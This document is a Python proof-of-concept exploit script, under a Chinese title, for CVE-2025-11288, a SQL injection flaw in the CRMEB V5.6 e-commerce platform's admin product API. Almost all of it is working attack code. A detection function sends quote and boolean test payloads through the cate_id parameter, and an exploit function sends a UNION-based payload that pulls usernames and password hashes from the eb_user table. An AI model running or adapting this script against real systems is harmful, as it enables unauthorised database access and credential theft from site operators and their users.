CVE-2025-11288：CRMEB 5.6版本SQL注入漏洞

# CVE-2025-11288 - CRMEB V5.6 SQL Injection PoC # Vulnerable endpoint: /adminapi/product/product # Vulnerable parameter: cate_id (GET) # Author: coolcj-stack import requests # Target configuration TARGET_URL = "http://target-crmeb-site.com" ADMIN_API_PATH = "/adminapi/product/product" # Attacker credentials (low privilege required) SESSION_COOKIE = "your_admin_session_cookie_here" # SQL Injection payload via cate_id parameter # Exploits UNION-based injection to extract admin credentials INJECTION_PAYLOAD = "1' UNION SELECT id,username,password,'','','','','','','','','','','' FROM eb_user-- -" def exploit_sql_injection(): """ Exploit SQL injection in CRMEB V5.6 adminapi/product/product endpoint. The cate_id parameter is directly concatenated into SQL queries without sanitization. """ headers = { "Cookie": f"PHPSESSID={SESSION_COOKIE}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } params = { "cate_id": INJECTION_PAYLOAD, "page": "1", "limit": "20" } # Send malicious request to vulnerable endpoint response = requests.get( url=TARGET_URL + ADMIN_API_PATH, params=params, headers=headers ) if response.status_code == 200: print("[+] Injection successful!") print(f"[+] Response: {response.text}") # Parse and extract sensitive data from response return response.json() else: print(f"[-] Request failed with status code: {response.status_code}") return None def detect_injection(): """ Detection phase: verify the endpoint is vulnerable to SQL injection """ test_payloads = [ "1'", # Basic quote test "1' AND '1'='1", # Boolean true test "1' AND '1'='2", # Boolean false test ] headers = { "Cookie": f"PHPSESSID={SESSION_COOKIE}", } for payload in test_payloads: params = {"cate_id": payload} resp = requests.get( TARGET_URL + ADMIN_API_PATH, params=params, headers=headers ) print(f"[*] Testing payload: {payload}") print(f"[*] Response length: {len(resp.text)}") if __name__ == "__main__": print("[*] CVE-2025-11288 - CRMEB V5.6 SQL Injection Exploit") print("[*] Detecting vulnerability...") detect_injection() print("\n[*] Exploiting vulnerability...") exploit_sql_injection()